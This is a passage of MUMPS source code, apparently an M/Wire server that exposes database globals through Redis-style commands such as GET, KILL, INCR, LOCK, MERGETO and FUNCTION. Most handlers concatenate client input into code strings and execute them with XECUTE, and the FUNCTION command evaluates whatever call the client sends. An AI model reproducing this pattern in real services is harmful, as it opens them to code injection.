x=x_\"data=$g(\"_gloRef_\")\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s json=\"{\"\"value\"\":\"\"\"_data_\"\"\",\"\"dataStatus\"\":\"_exists_\"}\"\n ;\n s response=\"$\"_$l(json)_crlf_json_crlf\n ;\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"getGlobal: response=\"_response)\n i $g(^mwire(\"logger\"))=1 d logger(\"getGlobal\")\n QUIT\n ;\nmultiGet(input)\n ;\n n comma,dataStatus,error,exists,globalName,i,json,props,ref,response,subs,value\n ;\n ; MULTIGET myglobal[\n ;  {globalName:'xxx', subscripts:[\"x1\",\"y1\"]},\n ;  {globalName:'xxx', subscripts:[\"x2\",\"\"]},\n ;  {globalName:'xxx', subscripts:[\"x2\",\"y2\"]}\n ;]\n ;\n ;\n s error=$$parseJSON(input,.props,1)\n i error'=\"\" s output=\"-\"_error_crlf w output QUIT\n ;\n s stop=0,error=\"\",json=\"[\",comma=\"\"\n f i=1:1 q:'$d(props(i))  d\n . s dataStatus=0,value=\"\",error=\"\"\n . s globalName=$g(props(i,\"globalName\"))\n . i globalName=\"\" s globalName=$g(props(i,\"GlobalName\"))\n . i globalName=\"\" d\n . . s error=\"globalName not defined\"\n . e  d\n . . i $e(globalName,1)'=\"^\" s globalName=\"^\"_globalName\n . . s ref=\"s exists=$d(\"_globalName\n . . s subs=\"\"\n . . i $d(props(i,\"subscripts\")) d\n . . . n comma,j,stop,sub\n . . . s subs=\"(\",comma=\"\",stop=0\n . . . f j=1:1 q:'$d(props(i,\"subscripts\",j))  d  q:stop\n . . . . s sub=props(i,\"subscripts\",j)\n . . . . i sub=\"\" s error=\"Subscript \"_j_\" is null\",stop=1 q\n . . . . s subs=subs_comma_\"\"\"\"_props(i,\"subscripts\",j)_\"\"\"\",comma=\",\"\n . . . i error=\"\" s subs=subs_\")\"\n . . i error=\"\" d\n . . . s ref=ref_subs_\")\"\n . . . s $zt=$$zt()\n . . . x ref\n . . . s $zt=\"\"\n . . . i exists d\n . . . . s ref=\"s value=$g(\"_globalName\n . . . . s ref=ref_subs_\")\"\n . . . . s $zt=$$zt()\n . . . . x ref\n . . . . s $zt=\"\"\n . s json=json_comma_\"{\"\"value\"\":\"\"\"_value_\"\"\",\"\"dataStatus\"\":\"_exists_\",\"\"error\"\":\"\"\"_error_\"\"\"}\"\n . s comma=\",\"\n s json=json_\"]\"\n ;\n s response=\"$\"_$l(json)_crlf_json_crlf\n ;\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"multiGet: response=\"_response)\n QUIT\n ;\nkill(input)\n ;\n n i,glo,gloRef,len,nsp,p1,p2,x\n ;\n ; KILL myglobal[\"1\",\"xx yy\",3]\n ; +OK\n ;\n s glo=input\n s p1=$p(glo,\"[\",1)\n s p2=$p(glo,\"[\",2,2000)\n s p2=$e(p2,1,$l(p2)-1)\n s glo=p1_\"(\"_p2_\")\"\n i glo[\"()\" d\n . s len=$l(glo)\n . i $e(glo,len-1,len)=\"()\" s glo=$e(glo,1,len-2)\n e  d\n . ; Process Javascript escaping\n . n c123,quot\n . s quot=\"\"\"\"\n . f i=1:1:$l(glo)-2 d\n . . s c123=$e(glo,i,i+2)\n . . i $e(c123,1)'=\"\\\" q\n . . i $e(c123,2)=\"\\\" q\n . . i $e(c123,2)=quot d  q\n . . . i $e(c123,3)=\",\" q\n . . . i $e(c123,3)=\")\" q\n . . . s glo=$e(glo,1,i-1)_quot_quot_$e(glo,i+2,$l(glo))\n . i glo[\"\\\\\" d\n . . s glo=$$replaceAll(glo,\"\\\\\",$c(5))\n . . s glo=$$replaceAll(glo,$c(5),\"\\\")\n ;\n i glo'[\"zmwire\" s glo(glo)=\"\"\n\n s x=\"k ^\"_glo\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s response=\"+ok\"_crlf\n i $g(^%zewd(\"trace\"))=1 d trace(\"kill: response=\"_response)\n w response\n i $g(^mwire(\"logger\"))=1 d logger(\"kill\")\n QUIT\n ;\ndata(input)\n ;\n n data,gloRef,x\n ;\n ; DATA myglobal[\"1\",\"xx yy\",3]\n ; :10\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$d(\"_gloRef_\")\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n i $g(^zewd(\"trace\"))=1 d trace(\"input=\"_input_\"; data=\"_data)\n s output=\":\"_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"data\")\n QUIT\n ;\nrunTransaction(input)\n ;\n n error,globalName,i,json,props,ref,result,stop,subscripts\n ;\n s error=$$parseJSON(input,.props,1)\n i error'=\"\" s output=\"-\"_error_crlf w output QUIT\n ;\n s stop=0,error=\"\"\n f i=1:1 q:'$d(props(i))  d  q:stop\n . s method=$g(props(i,\"method\"))\n . i method=\"\" s stop=1,error=\"Missing method in JSON transaction document at step \"_i q\n . i method=\"setJSON\" d  q:stop\n . . n json\n . . m json=props(i,\"json\")\n . . i '$d(json) s stop=1,error=\"Missing JSON document in JSON transaction document at step \"_i q\n . . s globalName=$g(props(i,\"globalName\"))\n . . i globalName=\"\" s globalName=$g(props(i,\"GlobalName\"))\n . . i globalName=\"\" s stop=1,error=\"Missing Global name in JSON transaction document at step \"_i q\n . . i $e(globalName,1)'=\"^\" s globalName=\"^\"_globalName\n . . s ref=\"m \"_globalName\n . . i $d(props(i,\"subscripts\")) d\n . . . n comma,j\n . . . s ref=ref_\"(\",comma=\"\"\n . . . f j=1:1 q:'$d(props(i,\"subscripts\",j))  d\n . . . . s ref=ref_comma_\"\"\"\"_props(i,\"subscripts\",j)_\"\"\"\",comma=\",\"\n . . . s ref=ref_\")\"\n . . s ref=ref_\"=json\"\n . . x ref\n . i method=\"setGlobal\" d  q:stop\n . . n value\n . . s globalName=$g(props(i,\"globalName\"))\n . . i globalName=\"\" s globalName=$g(props(i,\"GlobalName\"))\n . . i globalName=\"\" s stop=1,error=\"Missing Global name in JSON transaction document at step \"_i q\n . . i $e(globalName,1)'=\"^\" s globalName=\"^\"_globalName\n . . s ref=\"s \"_globalName\n . . i $d(props(i,\"subscripts\")) d\n . . . n comma,j\n . . . s ref=ref_\"(\",comma=\"\"\n . . . f j=1:1 q:'$d(props(i,\"subscripts\",j))  d\n . . . . s ref=ref_comma_\"\"\"\"_props(i,\"subscripts\",j)_\"\"\"\",comma=\",\"\n . . . s value=$g(props(i,\"value\"))\n . . . i value=\"zmwire_null_value\" s value=\"\"\n . . . s ref=ref_\")=\"\"\"_value_\"\"\"\"\n . . x ref\n . i method=\"kill\" d  q:stop\n . . s globalName=$g(props(i,\"globalName\"))\n . . i globalName=\"\" s globalName=$g(props(i,\"GlobalName\"))\n . . i globalName=\"\" s stop=1,error=\"Missing Global name in JSON transaction document at step \"_i q\n . . i $e(globalName,1)'=\"^\" s globalName=\"^\"_globalName\n . . s ref=\"k \"_globalName\n . . i $d(props(i,\"subscripts\")) d\n . . . n comma,j\n . . . s ref=ref_\"(\",comma=\"\"\n . . . f j=1:1 q:'$d(props(i,\"subscripts\",j))  d\n . . . . s ref=ref_comma_\"\"\"\"_props(i,\"subscripts\",j)_\"\"\"\",comma=\",\"\n . . . s ref=ref_\")\"\n . . x ref\n ;\n i error'=\"\" s output=\"-\"_error_crlf w output QUIT\n s response=\"+ok\"_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"transaction: response=\"_response)\n QUIT\n ;\nsetJSON(input)\n ;\n n arr,del,error,flrc,inputr,gloRef,inputr,json,nb,nsp,props,ref,response,subs\n ;\n ; SETJSONSTRING myglobal[\"1\",\"xx yy\",3] CRLF {\"a\":123} CRLF 1\n ; +ok\n ;\n s flrc=$c(10,13)\n s gloRef=$p(input,crlf,1)\n s input=$p(input,crlf,2,10000)\n s inputr=$re(input)\n s del=$p(inputr,flrc,1),del=$re(del)\n s inputr=$p(inputr,flrc,2,10000) ; in case it contains crlfs\n s json=$re(inputr)\n i $zv[\"GT.M\" d\n . s json=$$unEscape(json)\n e  d\n . s json=$$unEscape^MDBMCache(json)\n ;\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n s gloRef=gloName\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i subs'=\"\" s gloRef=gloRef_\"(\"_subs_\")\"\n s error=$$parseJSON(json,.props,1)\n i error'=\"\" s output=\"-Invalid JSON in setJSON: \"_json_crlf w output QUIT\n ;\n s ref=\"\"\n i del s ref=\"k \"_gloRef_\" \"\n ;\n s ref=ref_\"m \"_gloRef_\"=props\"\n x ref\n s response=\"+OK\"_crlf\n w response\n i $g(^zewd(\"trace\"))=1 d trace(\"setJSON: response=\"_response)\n i $g(^mwire(\"logger\"))=1 d logger(\"setJSON\")\n ;\n QUIT\n ;\ngetJSON(input)\n ;\n n arr,inputr,gloRef,json,nb,nsp,ref,response,subs\n ;\n ; GETJSONSTRING myglobal[\"1\",\"xx yy\",3]\n ; $5\n ; {x:1}\n ;\n s gloRef=input\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n s gloRef=gloName\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i subs'=\"\" s gloRef=gloRef_\"(\"_subs_\")\"\n s ref=\"m arr=\"_gloRef\n x ref\n i '$d(arr) d\n . s response=\"$-1\"_crlf\n e  d\n . s json=$$arrayToJSON(\"arr\")\n . s response=\"$\"_$l(json)_crlf_json_crlf\n i $g(^zewd(\"trace\"))=1 d trace(\"getJSON: response=\"_response)\n ;\n w response\n ;\n i $g(^mwire(\"logger\"))=1 d logger(\"getJSON\")\n QUIT\n ;\nincr(input)\n ;\n n data,gloRef,x\n ;\n ; INCR myglobal[\"1\",\"xx yy\",3]\n ; :4\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$increment(\"_gloRef_\")\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s output=\":\"_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"incr\")\n QUIT\n ;\nincrby(input)\n ;\n n by,data,gloName,gloRef,inputr,len,nb,nsp,ok,subs,x\n ;\n ; INCRBY myglobal[\"1\",\"xx yy\",3] 3\n ; :7\n ;\n s inputr=$re(input)\n s by=$re($p(inputr,\" \",1))\n s nsp=$l(input,\" \")+2\n s gloRef=$p(inputr,\" \",2,nsp)\n s gloRef=$re(gloRef)\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n s gloRef=gloName\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i subs'=\"\" s gloRef=gloRef_\"(\"_subs_\")\"\n s x=\"s data=$increment(\"_gloRef_\",\"_by_\")\"\n s $zt=$$zt() x x\n s $zt=\"\"\n s output=\":\"_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"incrbr\")\n QUIT\n ;\nfunction(input)\n ;\n n data,func,x\n ;\n ; FUNCTION label^rou(\"1\",\"xx yy\")\n ; $5\n ; hello\n ;\n s func=input\n i func[\"^\",$e(func,1,2)'=\"$$\" s func=\"$$\"_func\n i func[\"class(\",$e(func,1,2)'=\"##\" s func=\"##\"_func\n s x=\"s data=\"_func\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s output=\"$\"_$l(data)_crlf_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"function\")\n QUIT\n ;\ndecr(input)\n ;\n n data,gloRef,x\n ;\n ; DECR myglobal[\"1\",\"xx yy\",3]\n ; :3\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$increment(\"_gloRef_\",-1)\"\n s $zt=$$zt() x x\n s $zt=\"\"\n s output=\":\"_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"decr\")\n QUIT\n ;\ndecrby(input)\n ;\n n by,data,gloName,gloRef,inputr,nb,nsp,ok,subs,x\n ;\n ; DECRBY myglobal[\"1\",\"xx yy\",3] 3\n ; :4\n ;\n s inputr=$re(input)\n s by=$re($p(inputr,\" \",1))\n s nsp=$l(input,\" \")+2\n s gloRef=$p(inputr,\" \",2,nsp)\n s gloRef=$re(gloRef)\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n s gloRef=gloName\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i subs'=\"\" s gloRef=gloRef_\"(\"_subs_\")\"\n s x=\"s data=$increment(\"_gloRef_\",-\"_by_\")\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s output=\":\"_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"decrby\")\n QUIT\n ;\nnextSubscript(input,direction)\n ;\n n data,gloRef,response,subscript,x,value\n ;\n ; NEXTSUBSCRIPT myglobal[\"1\",\"xx yy\",\"\"]\n ; +abc\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s subscript=$o(\"_gloRef_\",direction)\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s value=\"\",data=0\n i subscript'=\"\" d\n . s value=$g(^(subscript))\n . s data=$d(^(subscript))\n ;\n s response=\"{\"\"subscriptValue\"\":\"\"\"_subscript_\"\"\",\"\n s response=response_\"\"\"dataStatus\"\":\"_data_\",\"\n s response=response_\"\"\"dataValue\"\":\"\"\"_value_\"\"\"}\"\n ;\n s response=\"$\"_$l(response)_crlf_response_crlf\n i $g(^zewd(\"trace\"))=1 d trace(\"nextsubscript: response=\"_response)\n w response\n i $g(^mwire(\"logger\"))=1 d logger(\"nextsubscript\")\n ;\n QUIT\n ;\norder(input)\n ;\n n data,gloRef,x\n ;\n ; ORDER myglobal[\"1\",\"xx yy\",\"\"]\n ; +abc\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$o(\"_gloRef_\")\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n i data=\"\" s output=\"$-1\"_crlf w output QUIT\n s output=\"$\"_$l(data)_crlf_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"order\")\n QUIT\n ;\nreverseorder(input)\n ;\n n data,gloRef,x\n ;\n ; REVORDER myglobal[\"1\",\"xx yy\",\"\"]\n ; +abc\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$o(\"_gloRef_\",-1)\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n i data=\"\" s output=\"$-1\"_crlf w output QUIT\n s output=\"$\"_$l(data)_crlf_data_crlf\n w output\n i $g(^mwire(\"logger\"))=1 d logger(\"reverseorder\")\n QUIT\n ;\nquery(input)\n ;\n n data,gloRef,nb,p1,p2,x\n ;\n ; QUERY myglobal[\"1\",\"xx yy\"]\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$q(\"_gloRef_\")\"\n s $zt=$$zt()\n ;d trace(\"query x=\"_x)\n x x\n i data=\"\" s output=\"$-1\"_crlf w output QUIT\n s data=$e(data,2,$l(data))\n ;d trace(\"data=\"_data)\n s p1=$p(data,\"(\",1)\n s nb=$l(data,\"(\")+2\n ;d trace(\"nb=\"_nb)\n s p2=$p(data,\"(\",2,nb)\n ;d trace(\"1 p2=\"_p2)\n s p2=$e(p2,1,$l(p2)-1)\n ;d trace(\"2 p2=\"_p2)\n s data=p1_\"[\"_p2_\"]\"\n s output=\"$\"_$l(data)_crlf_data_crlf\n w output\n s $zt=\"\"\n i $g(^mwire(\"logger\"))=1 d logger(\"query\")\n QUIT\n ;\nqueryget(input)\n ;\n n data,gloRef,nb,odata,p1,p2,value,x\n ;\n ; QUERYGET myglobal[\"1\",\"xx yy\"]\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"s data=$q(\"_gloRef_\")\"\n s $zt=$$zt()\n x x\n i data=\"\" s output=\"$-1\"_crlf w output QUIT\n s odata=data\n s output=\"*2\"_crlf\n w output\n s data=$e(data,2,$l(data))\n s p1=$p(data,\"(\",1)\n s nb=$l(data,\"(\")+2\n s p2=$p(data,\"(\",2,nb)\n s p2=$e(p2,1,$l(p2)-1)\n s data=p1_\"[\"_p2_\"]\"\n s output=\"$\"_$l(data)_crlf_data_crlf\n w output\n s value=@odata\n s output=\"$\"_$l(value)_crlf_value_crlf\n w output\n s $zt=\"\"\n i $g(^mwire(\"logger\"))=1 d logger(\"queryget\")\n QUIT\n ;\nlock(input)\n ;\n n gloName,gloRef,inputr,nb,nsp,ok,subs,time,x\n ;\n ; LOCK myglobal[\"1\",\"xxyy\"] 5\n ; +OK\n ;\n s inputr=$re(input)\n s time=$re($p(inputr,\" \",1))\n i time?1N.N d\n . s nsp=$l(input,\" \")+2\n . s gloRef=$p(inputr,\" \",2,nsp)\n e  d\n . s time=5\n . s gloRef=inputr\n s gloRef=$re(gloRef)\n i $e(gloRef,1)'=\"^\" s gloRef=\"^\"_gloRef\n i $e(gloRef,$l(gloRef))=\"]\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n s gloName=$p(gloRef,\"[\",1)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s nb=$l(gloRef,\"[\")+2\n s subs=$p(gloRef,\"[\",2,nb)\n s gloRef=gloName\n i subs'=\"\" s gloRef=gloRef_\"(\"_subs_\")\"\n s x=\"s ok=1 l +\"_gloRef_\":\"_time_\" e  s ok=0\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s output=\":\"_ok_crlf\n w output\n QUIT\n ;\nunlock(input)\n ;\n n gloRef,x\n ;\n ; UNLOCK myglobal[\"1\",\"xxyy\"]\n ; +OK\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n s x=\"l -\"_gloRef\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s output=\"+OK\"_crlf\n w output\n QUIT\n ;\ngetAllSubscripts(input)\n ;\n n comma,data,exists,from,i,gloRef,len,numericEnd,rec,ref\n n stop,subscripts,subs,subs1,to,x\n ;\n ; GETSUBSCRIPTS myglobal[\"1\",\"xx yy\"] fromValue toValue\n ; \n s gloRef=$p(input,$c(1),1)\n s gloRef=$$getGloRef(gloRef)\n s from=$p(input,$c(1),2)\n i from=\"zz-null\" s from=\"\"\n s to=$p(input,$c(1),3)\n i to=\"zz-null\" s to=\"\"\n s numericEnd=$$numeric(to)\n ;d trace(\"to=\"_to_\": numeric = \"_numericEnd)\n ;\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i $e(gloRef,$l(gloRef))=\")\" d\n . s x=\"s exists=$d(\"_gloRef_\")\"\n . s gloRef=$e(gloRef,1,$l(gloRef)-1)_\",\"\n e  d\n . s x=\"s exists=$d(\"_gloRef_\")\"\n . s gloRef=gloRef_\"(\"\n s $zt=$$zt()\n x x\n s $zt=\"\"\n i 'exists!(exists=1) s output=\"$2\"_crlf_\"[]\"_crlf w output QUIT\n ;\n s subs=from\n s subs1=subs i subs1[\"\"\"\" s subs1=$$replaceAll(subs1,\"\"\"\",\"\"\"\"\"\")\n i from'=\"\" d\n . s x=\"s subs1=$o(\"_gloRef_\"\"\"\"_subs1_\"\"\"),-1)\"\n . ;d trace(\"1 x=\"_x)\n . x x\n s x=\"s subs=$o(\"_gloRef_\"\"\"\"_subs1_\"\"\"))\"\n x x\n s len=3+$l(subs)\n s comma=\",\",stop=0\n i subs'=\"\" d\n . f  s subs=$o(^(subs)) q:stop  d\n . . i subs=\"\" s stop=1 q\n . . i to'=\"\" d  q:stop\n . . . i numericEnd d\n . . . . ;d trace(\"numeric: subs=\"_subs_\": to=\"_to)\n . . . . i $$numeric(subs),subs>to s stop=1\n . . . e  d\n . . . . i subs]to s stop=1\n . . s len=len+$l(comma)+2+$l(subs)\n ;d trace(\"3 len=\"_len)\n s len=len+1\n s response=\"$\"_len_crlf\n w response\n ;\n s x=\"s subs=$o(\"_gloRef_\"\"\"\"_subs1_\"\"\"))\"\n ;d trace(\"4 x=\"_x)\n ;d trace(\"xx to=\"_to)\n x x\n s response=\"[\"\"\"_subs_\"\"\"\"\n w response\n i subs'=\"\" d\n . s stop=0\n . f  s subs=$o(^(subs)) q:stop  d\n . . i subs=\"\" s stop=1 q\n . . i to'=\"\" d  q:stop\n . . . i numericEnd d\n . . . . ;d trace(\"numeric: subs=\"_subs_\": to=\"_to)\n . . . . i $$numeric(subs),subs>to s stop=1\n . . . e  d\n . . . . i subs]to s stop=1\n . . s response=comma_\"\"\"\"_subs_\"\"\"\"\n . . w response\n ;d trace(\"5 response=\"_response)\n s response=\"]\"_crlf\n w response\n i $g(^mwire(\"logger\"))=1 d logger(\"getallsubscripts\")\n ;\n QUIT\n ;\norderall(input)\n ;\n n data,exists,i,gloRef,rec,subs,subs1,x\n ;\n ; ORDERALL myglobal[\"1\",\"xx yy\"] \n ; *6\n ; $2\n ; aa\n ; $5\n ; hello\n ; $2\n ; bb\n ; $5\n ; world\n ; $3\n ; bba\n ; $-1\n ; \n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i $e(gloRef,$l(gloRef))=\")\" d\n . s x=\"s exists=$d(\"_gloRef_\")\"\n . s gloRef=$e(gloRef,1,$l(gloRef)-1)_\",\"\n e  d\n . s x=\"s exists=$d(\"_gloRef_\")\"\n . s gloRef=gloRef_\"(\"\n s $zt=$$zt()\n x x\n i 'exists s output=\"$-1\"_crlf w output QUIT\n ;\n s subs=\"\",rec=0\n k ^CacheTempEWD($j)\n f  d  q:subs=\"\"\n . s subs1=subs i subs1[\"\"\"\" s subs1=$$replaceAll(subs1,\"\"\"\",\"\"\"\"\"\")\n . s x=\"s subs=$o(\"_gloRef_\"\"\"\"_subs1_\"\"\"))\"\n . x x\n . i subs=\"\" q\n . s rec=rec+1\n . s ^CacheTempEWD($j,rec)=\"$\"_$l(subs)_crlf_subs_crlf\n . s x=\"s exists=$d(\"_gloRef_\"\"\"\"_subs_\"\"\"))\"\n . x x\n . i exists=1!(exists=11) d\n . . s x=\"s data=\"_gloRef_\"\"\"\"_subs_\"\"\")\"\n . . x x\n . . s rec=rec+1\n . . s ^CacheTempEWD($j,rec)=\"$\"_$l(data)_crlf_data_crlf\n . e  d\n . . s rec=rec+1\n . . s ^CacheTempEWD($j,rec)=\"$-1\"_crlf\n s $zt=\"\"\n s output=\"*\"_rec_crlf\n w output\n f i=1:1:rec w ^CacheTempEWD($j,i)\n k ^CacheTempEWD($j)\n i $g(^mwire(\"logger\"))=1 d logger(\"orderall\")\n QUIT\n ;\nmergefrom(input)\n ;\n n data,gloRef,i,params,resp,start,x\n ;\n ; MERGEFROM myglobal[\"1\",\"a\"]\n ; *6\n ; $1\n ; 1  <keys>\n ; $5\n ; hello  <data>\n ; $9\n ; 1,\"a\\\"aa\"  <keys> note escaping\n ; $5\n ; world\n ; $8\n ; 2,\"cccc\"\n ; $3\n ; foo\n ;\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n k ^CacheTempEWD($j)\n s x=\"m ^CacheTempEWD($j)=\"_gloRef\n s $zt=$$zt()\n x x\n s $zt=\"\"\n s x=$q(^CacheTempEWD($j,\"\"))\n i x=\"\" d  QUIT\n . s output=\"*-1\"_crlf \n . w output \n . k ^CacheTempEWD($j)\n f i=1:1 s x=$q(@x) q:x=\"\"\n i $d(^CacheTempEWD($j))=1!($d(^CacheTempEWD($j))=11) s i=i+1\n s output=\"*\"_(i*2)_crlf\n w output\n i $d(^CacheTempEWD($j))=1!($d(^CacheTempEWD($j))=11) d\n . s output=\"$-1\"_crlf\n . w output\n . s output=\"$\"_$l(^CacheTempEWD($j))_crlf_^CacheTempEWD($j)_crlf\n . w output\n s x=$q(^CacheTempEWD($j,\"\"))\n s start=\"^CacheTempEWD(\"_$j_\",\"\n s params=$p(x,start,2,2000)\n s params=$e(params,1,$l(params)-1)\n s resp=params\n s output=\"$\"_$l(resp)_crlf_resp_crlf\n w output\n s data=@x\n s output=\"$\"_$l(data)_crlf_data_crlf  \n w output\n f i=1:1 s x=$q(@x) q:x=\"\"  d\n . s params=$p(x,start,2,2000)\n . s params=$e(params,1,$l(params)-1)\n . s resp=params\n . s output=\"$\"_$l(resp)_crlf_resp_crlf  \n . w output\n . s data=@x\n . i data=\"\" d\n . . s output=\"$-1\"_crlf\n . . w output\n . e  d\n . . s output=\"$\"_$l(data)_crlf_data_crlf  \n . . w output\n k ^CacheTempEWD($j)\n QUIT\n ;\nmergeto(input)\n ;\n n data,dataLength,error,gloRef,i,key,keyLength,noOfRecs,x\n ;\n ; MERGETO myglobal[\"1\",\"a\"]\n ; *6\n ; $1\n ; 1   <keys>\n ; $5\n ; hello  <data>\n ; $7\n ; 1,\"aaa\"  <keys>\n ; $5\n ; world   <data>\n ; $8\n ; 2,\"cccc\"\n ; $3\n ; foo\n ; +OK\n ;   note $-1 for key length means no key - data put at top level\n ;\n s $zt=$$zt()\n s gloRef=$$getGloRef(input)\n i gloRef[\"^zmwire\" s output=\"-No access allowed to this global\"_crlf w output QUIT\n i $e(gloRef,$l(gloRef))=\")\" s gloRef=$e(gloRef,1,$l(gloRef)-1)\n ;\n r noOfRecs\n i $e(noOfRecs,1)'=\"*\" s output=\"-Invalid: expected number of records\"_crlf w output QUIT\n s noOfRecs=+$e(noOfRecs,2,$l(noOfRecs))\n i noOfRecs'?1N.N s output=\"-Invalid format for number of records\"_crlf w output QUIT\n i noOfRecs=0 QUIT \"+OK\"_crlf QUIT\n i (noOfRecs#2)=1 s output=\"-Invalid: no of records must be an even number\"_crlf w output QUIT\n s noOfRecs=noOfRecs/2\n k ^CacheTempEWD($j)\n s error=\"\"\n k ^CacheTempEWD($j)\n f i=1:1:noOfRecs d  q:error'=\"\"\n . r keyLength\n . i $e(keyLength,1)'=\"$\" s error=\"Invalid record \"_i_\": record length\" q\n . s keyLength=+$e(keyLength,2,$l(keyLength))\n . i keyLength=-1 d\n . . s key=\"\"\n . e  d\n . . i keyLength'?1N.N s error=\"Invalid record \"_i_\": bad format for record length\" q\n . . i keyLength=0 s error=\"Invalid record \"_i_\": record length cannot be zero\" q\n . . s key=$$readChars(keyLength)\n . . r ok d log(key)\n . . ;r key#keyLength,ok d log(key)\n . . i key[\"\\\"\"\" s key=$$replaceAll(key,\"\\\"\"\",\"\"\"\"\"\")\n . i error'=\"\" q\n . r dataLength\n . i $e(dataLength,1)'=\"$\" s error=\"Invalid record \"_i_\": expected data length\" q\n . s dataLength=+$e(dataLength,2,$l(dataLength))\n . i dataLength'=-1,dataLength'?1N.N s error=\"Invalid record \"_i_\": bad format for data length\" q\n . i dataLength=-1 d\n . . s data=\"\"\n . e  d\n . . s data=$$readChars(dataLength)\n . . r ok\n . . d log(data)\n . . ;r data#dataLength,ok d log(data)\n . . i data[\"\"\"\" s data=$$replaceAll(data,\"\"\"\",\"\"\"\"\"\")\n . i key=\"\" d\n . . n gloRef1\n . . s gloRef1=gloRef\n . . i gloRef[\"(\" s gloRef1=gloRef1_\")\"\n . . s x=\"s \"_gloRef1_\"=\"\"\"_data_\"\"\"\"\n . e  d\n . . n gloRef1\n . . s gloRef1=gloRef\n . . i gloRef'[\"(\" d\n . . . s gloRef1=gloRef1_\"(\"\n . . e  d\n . . . s gloRef1=gloRef1_\",\"\n . . s x=\"s \"_gloRef1_key_\")=\"\"\"_data_\"\"\"\"\n . s ^CacheTempEWD($j,i)=x\n i error'=\"\" s output=\"-\"_error_crlf w output QUIT\n f i=1:1:noOfRecs d\n . s x=^CacheTempEWD($j,i)\n . x x\n k ^CacheTempEWD($j)\n s output=\"+OK\"_crlf\n w output\n s $zt=\"\"\n QUIT\n ;\ncopy(input)\n ;\n n fromGlo,killToFirst,p2,response,toGlo,x\n ;\n ; COPY fromGlobal[\"1\",\"a\"] toGlobal[\"x\"] 1\n i $g(^%zewd(\"trace\"))=1 d trace(\"copy: input=\"_input)\n s $zt=$$zt()\n s fromGlo=$p(input,$c(1),1)\n s toGlo=$p(input,$c(1),2)\n s killToFirst=$p(input,$c(1),3)\n s p2=$p(fromGlo,\"[\",2,2000)\n s p2=$e(p2,1,$l(p2)-1)\n i 